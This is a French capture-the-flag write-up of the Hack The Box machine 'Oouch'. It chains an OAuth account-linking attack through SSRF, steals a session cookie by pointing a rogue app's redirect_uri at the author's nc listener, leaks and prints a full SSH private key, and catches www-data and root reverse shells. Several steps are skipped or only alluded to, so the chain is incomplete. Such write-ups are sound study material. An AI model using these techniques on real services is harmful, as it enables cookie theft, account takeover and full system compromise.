User Rating: 5 / 5

Star ActiveStar ActiveStar ActiveStar ActiveStar Active
 

 Write up hack the box [HTB] Ooch

 

Un des sites de challenges préférés de l'équipe CTF LGHM

pwne les tous

  

Voici le Write up de comment je suis arrivé à prendre le controle de ma machine Hack The Box Ooch . Ceci est un POC de pentest d'intrusion gratuit de démonstration. Je suis membre de LGHM, une équipe de pentesteurs certifiés CEH

 

Je lance un scan OpenVAS 9 – audit de vulnérabilités qui ne donne rien. Je lance alors un NMAP.

 

Write up hack the box [HTB] Ooch: Nmap

 

➜ prashant git:(master) nmap -sV -sC -T4 -p- oouch.htbNmap scan report for oouch.htb (10.10.10.177)Host is up (0.25s latency).Not shown: 65531 closed portsPORT STATE SERVICE VERSION21/tcp open ftp vsftpd 2.0.8 
or later| ftp-anon: Anonymous FTP login allowed (FTP code 230)|_-rw-r--r-- 1 ftp ftp 49 Feb 11 18:34 project.txt| ftp-syst: | STAT: | FTP server status:| Connected to 10.10.15.241| Logged in as ftp| TYPE: ASCII| Session bandwidth limit in byte/s is 30000| Session timeout in seconds is 300| Control connection is plain text| Data connections will be plain text| At session startup, client count was 4| vsFTPd 3.0.3 - secure, fast, stable|_End of status22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)| ssh-hostkey: | 2048 8d:6b:a7:2b:7a:21:9f:21:11:37:11:ed:50:4f:c6:1e (RSA)|_ 256 d2:af:55:5c:06:0b:60:db:9c:78:47:b5:ca:f4:f1:04 (ED25519)5000/tcp open http nginx 1.14.2|_http-server-header: nginx/1.14.2| http-title: Welcome to Oouch|_Requested resource was http://oouch.htb:5000/login?next=%2F8000/tcp open rtsp| fingerprint-strings: | FourOhFourRequest, GetRequest, HTTPOptions: | HTTP/1.0 400 Bad Request| Content-Type: text/html| Vary: Authorization| <h1>Bad Request (400)</h1>| RTSPRequest: | RTSP/1.0 400 Bad Request| Content-Type: text/html| Vary: Authorization| <h1>Bad Request (400)</h1>| SIPOptions: | SIP/2.0 400 Bad Request| Content-Type: text/html| Vary: Authorization|_ <h1>Bad Request (400)</h1>|_http-title: Site doesn't have a title (text/html).|_rtsp-methods: ERROR: Script execution failed (use -d to debug)1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :SF-Port8000-TCP:V=7.80%I=7%D=3/8%Time=5E641866%P=x86_64-pc-linux-gnu%r(GetSF:Request,64,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nContent-Type:\x20textSF:/html\r\nVary:\x20Authorization\r\n\r\n<h1>Bad\x20Request\x20\(400\)</hSF:1>")%r(FourOhFourRequest,64,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nContSF:ent-Type:\x20text/html\r\nVary:\x20Authorization\r\n\r\n<h1>Bad\x20RequSF:est\x20\(400\)</h1>")%r(HTTPOptions,64,"HTTP/1\.0\x20400\x20Bad\x20RequSF:est\r\nContent-Type:\x20text/html\r\nVary:\x20Authorization\r\n\r\n<h1>SF:Bad\x20Request\x20\(400\)</h1>")%r(RTSPRequest,64,"RTSP/1\.0\x20400\x20SF:Bad\x20Request\r\nContent-Type:\x20text/html\r\nVary:\x20Authorization\SF:r\n\r\n<h1>Bad\x20Request\x20\(400\)</h1>")%r(SIPOptions,63,"SIP/2\.0\xSF:20400\x20Bad\x20Request\r\nContent-Type:\x20text/html\r\nVary:\x20AuthoSF:rization\r\n\r\n<h1>Bad\x20Request\x20\(400\)</h1>");Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 846.49 seconds

 

 

Une question? Posez-la ici

Besoin d'un pentests d'intrusion? Contactez la Red Team LGHM

Write up hack the box [HTB] Ooch:  le port 21 donne quelquechose d'interessant

 

➜ oouch git:(master) ✗ ftp oouch.htb Connected to consumer.oouch.htb.220 qtc's development serverName (oouch.htb:prashant): anonymous\230 Login successful.Remote system type is UNIX.Using binary mode to transfer files.ftp> \ls200 PORT command successful. Consider using PASV.150 Here comes the directory listing.-rw-r--r-- 1 ftp ftp 49 Feb 11 18:34 project.txt
➜ oouch git:(master) ✗ cat project.txt Flask -> ConsumerDjango -> Authorization Server

 

Ça ne veut rien dire pour moi au début Donc, je passe au port suivant

 

Write up hack the box [HTB] Ooch:  Port 8000

 

Sa montrait juste une mauvaise demande Alors… .Juste déplacé vers un autre port

Write up hack the box [HTB] Ooch:  Port 5000

Il y a un onglet d'enregistrement que j'ai enregistré avec le

  • username: 0xprashant
  • email: This email address is being protected from spambots. You need JavaScript enabled to view it.
  • password: 123

Et j'ai eu accès à l'application

Après cela, j'ai exécuté un gobuster avec la liste de mots seclist-big.txt

 

Write up hack the box [HTB] Ooch:  Gobuster

 

Gobuster avec la liste de mots dirbuster-medium.txt ne me donne rien d'intéressant Mais en changeant la liste de mots en seclists-Big.txt je trouve un répertoire nimmé Oauth

➜ Desktop git:(master) ✗ gobuster dir -u http://oouch.htb:5000/ -w big.txt ===============================================================Gobuster v3.0.1by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)===============================================================[+] Url: http://consumer.oouch.htb:5000/[+] Threads: 10[+] Wordlist: big.txt[+] Status codes: 200,204,301,302,307,401,403[+] User Agent: gobuster/3.0.1[+] Timeout: 10s===============================================================2020/03/21 09:58:06 Starting gobuster===============================================================/about (Status: 302)/contact (Status: 302)/documents (Status: 302)/home (Status: 302)/login (Status: 200)/logout (Status: 302)/oauth (Status: 302)/profile (Status: 302)/Inscription (Status: 200)===============================================================

je vais sur `http://oouch.htb/oauth

Et ici, j'ai un nouveau sous-domaine, consumer.oouch.htb je l'ai ajouté à mon fichier hosts et cliqué sur le premier lien et j'ai été redirigé vers

http://authorization.oouch.htb:8000/login/

J'ai également ajouté ce sous-domaine dans le fichier hosts

Maintenant je peux y accéder

Et maintenant j'ai compris que le fichier project.txt obtenu du serveur ftp,sur le port 5000 fonctionne sur flask et le port 8000 est basé sur le framework Django.

J'ai trouvé l'Oauth qui fonctionne sur la version Oauth2 . Voici un très bon article sur l'explication de l'oauth2:

https://dhavalkapil.com/blogs/Attacking-the-OAuth-Protocol/

Dans cet article, il est mentionné comment lier notre compte au compte administrateur. Dans cet article, la méthode est utilisée csrf et nous savons déjà qu'il y en a un ssrf dans la page de contact. Nous pouvons donc le faire via ssrf.

Il est temps d'attaquer Oauth. Pour obtenir le code de jeton pour notre propre compte . Injecterle code de jeton avec l' URL complète dans les page. Il y a une ssrf de sorte le qtc aura accès à notre URL que nous avons envoyé à la page de contact.

 

Inscription on Authorization.oouch.htb:8000

 

S'inscrire sur http://Authorization.oouch.htb:8000.

Et revenir sur http://consumer.oouch.htb:5000/oauth/connect

 

Write up hack the box [HTB] Ooch:  Obtenir le code de jeton

 

Déclenché BURP Intercept pour intercepter la demande (Burp est un proxy web, comme OWASP ZAP, à ne pas confondre avec ACUNETIX)

 

GET /oauth/connect HTTP/1.1 Host: consumer.oouch.htb:5000 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://consumer.oouch.htb:5000/oauth Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: session=.eJxlj8FqwzAQRH9F0TkUyV5ppXxFaQ89lBCk1co2cexgyVAI-feq7bGnZdmZnTcPeclzKCMXefp8SFHbkDcuJQwsj_J15lBYzOsgpkXUVQSidhR1nIq4N82LPD-P_31vPEylbqFO6yLe919T3ueD-OCZ1hsL9XXfWmxY6qF9OB8bxsZllKe67dy2KcmTjKkD74FN8Jw1WbImK88JQTEkNMFpTInZAJHjZKA3BrDTnUbwwWDMtsuaFWaje0jJJecRLFifiDxbpTQ67BxxRAsxRBcRNGqlqfeEfStCZcuXul55aTzMLjUgpROFYBiQ-z5mxzYanVuugww62h_fXnj7K2Hk8xu1rGy8.XnrhEw.1uKY40Etms4DlhXv-43HqvHeKWI Connection: close

 

Je l'ai transmis et j'en ai reçu une autre:

 

 GET /oauth/authorize/?client_id=UDBtC8HhZI18nJ53kJVJpXp4IIffRhKEXZ0fSd82&response_type=code&redirect_uri=http://consumer.oouch.htb:5000/oauth/connect/token&scope=read HTTP/1.1 Host: authorization.oouch.htb:8000 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://consumer.oouch.htb:5000/oauth Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: csrftoken=dB9lD6DHKI5AW7LhVNpEanGDtDpfy8VEIjz8RbbIfogvvmX3j9gUqUKWbX8kI7gl; sessionid=fg196u4hh438xn8kl0g9vw2ematcpe02 Connection: close

J'ai transmis celui-ci aussi !! Et sur mon navigateur, j'ai le bouton d'autorisation suivant

Après avoir cliqué sur le bouton Autoriser, j'ai reçu une autre demande

POST /oauth/authorize/?client_id=UDBtC8HhZI18nJ53kJVJpXp4IIffRhKEXZ0fSd82&response_type=code&redirect_uri=http://consumer.oouch.htb:5000/oauth/connect/token&scope=read HTTP/1.1 Host: authorization.oouch.htb:8000 Content-Length: 266 Cache-Control: max-age=0 Origin: http://authorization.oouch.htb:8000 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://authorization.oouch.htb:8000/oauth/authorize/?client_id=UDBtC8HhZI18nJ53kJVJpXp4IIffRhKEXZ0fSd82&response_type=code&redirect_uri=http://consumer.oouch.htb:5000/oauth/connect/token&scope=read Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: csrftoken=dB9lD6DHKI5AW7LhVNpEanGDtDpfy8VEIjz8RbbIfogvvmX3j9gUqUKWbX8kI7gl; sessionid=fg196u4hh438xn8kl0g9vw2ematcpe02 Connection: close csrfmiddlewaretoken=nbamgjrqpDiZ2GyLdVles1bhLUgQdt1TCj4TF9XGEGtO9fIpYEpWUXzarhmRSPPn&redirect_uri=http%3A%2F%2Fconsumer.oouch.htb%3A5000%2Foauth%2Fconnect%2Ftoken&scope=read&client_id=UDBtC8HhZI18nJ53kJVJpXp4IIffRhKEXZ0fSd82&state=&response_type=code&allow=Authorize

Et je transmets cette demande aussi

Et enfin j'ai le code du token

après avoir obtenu le code du jeton, nous devons supprimer la demande, car nous ne pouvons utiliser le code du jeton qu'1 fois. Si nous envoyons la demande à nouveau, le compte sera lié au nôtre et le code du jeton ne sera plus d'aucune utilité...

Et le code du jeton avec l'URL complète est

http://consumer.oouch.htb:5000/oauth/connect/token?code=GbcTSxvMWTM6czwwmQ0K5XEJkGEI4W

 

 

Une question? Posez-la ici

Besoin d'un audit sécurité? Contactez la Red Team LGHM

 

Write up hack the box [HTB] Ooch:  SSRF in contact page

 

Et maintenant, voici la partie  ssrf. Collons le lien avec le code de jeton que nous avons obtenu dans le SSRF. Envoyons la demande sans aucune interception. Attendons environ 10 secondes et cliquons maintenant sur le deuxième lien que nous avons dans / oauth dirlogin as QTC

http://consumer.oouch.htb:5000/oauth/login

Et nous pouvons voir un nouveau bouton d'autorisation apparaître sur notre écran !! Cool

Après avoir cliqué sur, je suis connecté en tant que qtc

qtc

Write up hack the box [HTB] Ooch:   Documents de qtc

 

Nous pouvons qtc maintenant accéder aux  documents qui se trouvent dans le répertoire / Documents

 

 

ColonneDetails
dev_access.txt develop:supermegasecureklarabubu123! -> Permet l'enregistrement de l'application.
o_auth_notes.txt /api/get_user -> user data. oauth/authorize -> Maintenant, prend également en charge la méthode GET.
todo.txt Tous les utilisateurs pouvaient obtenir ma clé ssh. Ça doit être une blague…

 

 

Les détails ci-dessus étaient dans une syntaxe de type table.

Nous pouvons conclure quelques points des documents

les informations d'identification que nous avons obtenues peuvent être utilisées pour un enregistrement de type
il y a une api qui contient les données des utilisateurs
Et la clé ssh de l'utilisateur est stockée de manière non sécurisée sur le site Web quelque part

 

 

Write up hack the box [HTB] Ooch:  Recherche récursive Dirb

 

J'ai exécuté une recherche récursive dirb sur le http://authorization.oouch.htb:8000/ Pour vérifier les répertoires cachés.

Et après quelques coups et essais j'ai eu le dir

/oauth/applications/Inscription

 

Inscriptioning sur l'application

 

Nous avons une page de connexion

Page d'enregistrement
Nous pouvons utiliser les informations d'identification que nous avons obtenues de qtc Documents

develop:supermegasecureklarabubu123!

Et nous nous sommes connectés, et avons reçu une application

Enregistrement de l'application
J'ai enregistré une nouvelle demande avec les détails suivants

 

Write up hack the box [HTB] Ooch:  Obtenir sessionid de qtc

 

Et j'ai essayé d'accéder à l'application via son nom mais j'ai échoué .Puis j'ai essayé d'accéder à l'application via les paramètres que nous avons sélectionnés lors de la création de l'application

De même, je peux accéder à l'application que j'ai faite en utilisant:

 

http://authorization.oouch.htb:8000/oauth/authorize/?client_id=7ZLCaJIn9NzEQ081RCpkk6rLwc7aJmYZGDmfvhsn&redirect_uri=http://10.10.14.21:4444&grant_type=authorization_code&client_secret=xSxBgeE6uzDfT2cx4vnHDIygiLlwyI65aMYC6pzR77HaNSi7GhhLZmoRsKZJQ3vHOcRI7VeO2wVnWd56AhucNeBL1KgOLGdbRKy5B5dgxvWIbFWrUjAJS3oDYJ3EGqdn

 

Pour tester l'URL, je colle l'URL dans mon navigateur et j'ai démarré mon écouteur nc sur le port 4444

 

➜ prashant git:(master) ✗ nc -nlvp 4444listening on [any] 4444 ...connect to [10.10.14.21] from (UNKNOWN) [10.10.14.21] 60280GET /?error=invalid_request&error_description=Missing+response_type+parameter. HTTP/1.1Host: 10.10.14.21:4444Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Connection: close

 

Maintenant, il est temps de faire la ssrf en collant l'URL dans la page de contact et nous allons récupérer les cookies de l'utilisateur  qtc , puis nous pouvons utiliser les cookies pour nous connecter en tant que qtc

Et après quelques secondes, nous avons obtenu les cookies sur notre auditeur nc

 

➜ prashant git:(master) ✗ nc -nlvp 4444listening on [any] 4444 ...connect to [10.10.14.21] from (UNKNOWN) [10.10.10.177] 40134GET /?error=invalid_request&error_description=Missing+response_type+parameter. HTTP/1.1Host: 10.10.14.21:4444User-Agent: python-requests/2.21.0Accept-Encoding: gzip, deflateAccept: */*Connection: keep-aliveCookie: sessionid=dvd11o5h4jbzs9m5c0xieh9ds0c298ll;

Cookie: sessionid=dvd11o5h4jbzs9m5c0xieh9ds0c298ll

 

 

Write up hack the box [HTB] Ooch:  Obtenir un jeton d'accès pour accéder à l'API

 

Nous sommes connectés en tant que qtc .Notre objectif est d'avoir accès à l'api.Pour accéder à l'api, nous devons obtenir un jeton d'accès.Et nous pouvons l'obtenir en faisant une demande POST à

 

http://authorization.oouch.htb:8000/oauth/token/ using curl

curl -X POST 'http://authorization.oouch.htb:8000/oauth/token/' -H "Content-Type: application/x-www-form-urlencoded" --data "grant_type=client_credentials&client_id=7ZLCaJIn9NzEQ081RCpkk6rLwc7aJmYZGDmfvhsn&client_secret=xSxBgeE6uzDfT2cx4vnHDIygiLlwyI65aMYC6pzR77HaNSi7GhhLZmoRsKZJQ3vHOcRI7VeO2wVnWd56AhucNeBL1KgOLGdbRKy5B5dgxvWIbFWrUjAJS3oDYJ3EGqdn" -L -s

Et la réponse est: 

{"access_token": "LpLKz5mxCzy8mxCLPnbzhtseeXyeEK", "expires_in": 600, "token_type": "Bearer", "scope": "read write"}#

 

 

 

Une question? Posez-la ici

Besoin d'un audit de code? Contactez la Red Team LGHM

 

Write up hack the box [HTB] Ooch:  Obtenir les clés ssh de qtc

 

J'ai essayé d'accéder à / api / get_user en utilisant le code de jeton que nous avons obtenu mais j'ai obtenu le même. Je ne peux toujours pas y accéder. Ensuite, je l'ai essayé à la get_ssh place de get_user.

 

L'URL finale dans mon navigateur était

 

http://authorization.oouch.htb:8000/api/get_ssh/?access_token=LpLKz5mxCzy8mxCLPnbzhtseeXyeEK

 

Et j'ai les clés ssh mais c'était dans un format très incorrect . En copiant les clés ssh dans mon éditeur de texte j'obtiens:

-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----

 

Write up hack the box [HTB] Ooch:  On se connecte en qtc en utilisant ssh

 

Maintenant, j'ai les clés ssh privées que je peux me connecter en tant que qtc en donnant la  permission id_rsa qui va bien

 

➜ oouch git:(master) ✗ chmod 600 id_rsa➜ oouch git:(master) ✗ ssh -i id_rsa This email address is being protected from spambots. You need JavaScript enabled to view it. Linux oouch 4.19.0-8-amd64 #1 SMP Debian 4.19.98-1 (2020-01-26) x86_64The programs included with the Debian GNU/Linux system are free software;the exact distribution terms for each program are described in theindividual files in /usr/share/doc/*/copyright.Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extentpermitted by applicable law.Last login: Tue Feb 25 12:45:55 2020 from 10.10.14.3qtc@oouch:~$ 

 

On récupère user.txt

 

qtc@oouch:~$ cat user.txtba7--------------------------d14qtc@oouch:~$ 

 

Write up hack the box [HTB] Ooch:  Escalade de privilèges

 

Write up hack the box [HTB] Ooch:  Connection à docker

 

J'ai essayé d'exécuter divers scripts, mais sans succès.

En cours d'exécution ps -aux et ss m'a donné des résultats intéressants et je sais qu'il y a un docker en cours d'exécution sur la machine.

J'ai fait une commande pour récupérer les ips sur toutes interfaces et aussi sur le docker et ses interfaces qui y sont liées.Et j'ai obtenu la plage ip sur laquelle le docker et le service associé s'exécutent

 

qtc@oouch:~$ ip a1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever2: ens34: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 link/ether 00:50:56:b9:ba:81 brd ff:ff:ff:ff:ff:ff inet 10.10.10.177/24 brd 10.10.10.255 scope global ens34 valid_lft forever preferred_lft forever inet6 dead:beef::250:56ff:feb9:ba81/64 scope global dynamic mngtmpaddr valid_lft 86117sec preferred_lft 14117sec inet6 fe80::250:56ff:feb9:ba81/64 scope link valid_lft forever preferred_lft forever3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default link/ether 02:42:66:92:e9:2c brd ff:ff:ff:ff:ff:ff inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0 valid_lft forever preferred_lft forever4: br-cc6c78e0c7d0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:9f:43:75:f5 brd ff:ff:ff:ff:ff:ff inet 172.18.0.1/16 brd 172.18.255.255 scope global br-cc6c78e0c7d0 valid_lft forever preferred_lft forever inet6 fe80::42:9fff:fe43:75f5/64 scope link valid_lft forever preferred_lft forever6: veth97fb0c5@if5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-cc6c78e0c7d0 state UP group default link/ether 12:49:7c:41:00:bb brd ff:ff:ff:ff:ff:ff link-netnsid 2 inet6 fe80::1049:7cff:fe41:bb/64 scope link valid_lft forever preferred_lft forever8: vethdd01113@if7: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-cc6c78e0c7d0 state UP group default link/ether 2a:ff:b0:3c:04:92 brd ff:ff:ff:ff:ff:ff link-netnsid 1 inet6 fe80::28ff:b0ff:fe3c:492/64 scope link valid_lft forever preferred_lft forever10: veth5dad994@if9: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-cc6c78e0c7d0 state UP group default link/ether e6:bc:82:f1:c5:04 brd ff:ff:ff:ff:ff:ff link-netnsid 3 inet6 fe80::e4bc:82ff:fef1:c504/64 scope link valid_lft forever preferred_lft forever12: vetha1db8fd@if11: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-cc6c78e0c7d0 state UP group default link/ether 02:27:bb:85:15:5f brd ff:ff:ff:ff:ff:ff link-netnsid 0 inet6 fe80::27:bbff:fe85:155f/64 scope link valid_lft forever preferred_lft forever

Ca c'est intéréssant:

3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default link/ether 02:42:66:92:e9:2c brd ff:ff:ff:ff:ff:ff inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0 valid_lft forever preferred_lft forever4: br-cc6c78e0c7d0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:9f:43:75:f5 brd ff:ff:ff:ff:ff:ff inet 172.18.0.1/16 brd 172.18.255.255 scope global br-cc6c78e0c7d0 valid_lft forever preferred_lft forever inet6 fe80::42:9fff:fe43:75f5/64 scope link valid_lft forever preferred_lft forever

 

Ces interfaces s'exécutent sur un ips.Docker très différent.

J'ai essayé de me connecter avec 172.17.0.1 et la clé ssh privée de l'utilisateur qtc.

 

qtc@oouch:~$ ssh -i .ssh/id_rsa This email address is being protected from spambots. You need JavaScript enabled to view it. authenticity of host '172.17.0.1 (172.17.0.1)' can't be established.ED25519 key fingerprint is SHA256:6/ZyfRrDDz0w1+EniBrf/0LXg5sF4o5jYNEjjU32y8s.Are you sure you want to continue connecting (yes/no)? yesWarning: Permanently added '172.17.0.1' (ED25519) to the list of known This email address is being protected from spambots. You need JavaScript enabled to view it..0.1: Permission denied (publickey).qtc@oouch:~$

 

etc...

 

Write up hack the box [HTB] Ooch: le répertoire www-data

 

J'ai retrouvé la connexion sur mon écouteur nc

 

qtc@oouch:~$ nc -nlvp 1234listening on [any] 1234 ...connect to [172.18.0.1] from (UNKNOWN) [172.18.0.2] 41652whoamiwww-data

 

Write up hack the box [HTB] Ooch:  Exploit DBUS

 

Maintenant, si j'exécute cette commande debus-send commande que j'ai utilisé précédemment, j'ai un accès ROOT!

 

➜ prashant git:(master) ✗ nc -nlvp 2345listening on [any] 2345 ...connect to [10.10.15.135] from (UNKNOWN) [10.10.10.177] 38152bash: cannot set terminal process group (2568): Inappropriate ioctl for devicebash: no job control in this shellroot@oouch:/root#

 

Et nous la machine est maintenant root, c'est la machine la plus difficile que j'ai jamais rootée jusqu'à présent.

 

 

 

 

 

  

Cet article reflète exclusivement l'opinion de ses auteurs et n’engage en aucune façon Consultingit. J'espère que ça vous a plu. Vos commentaires/remarques sont les bienvenus: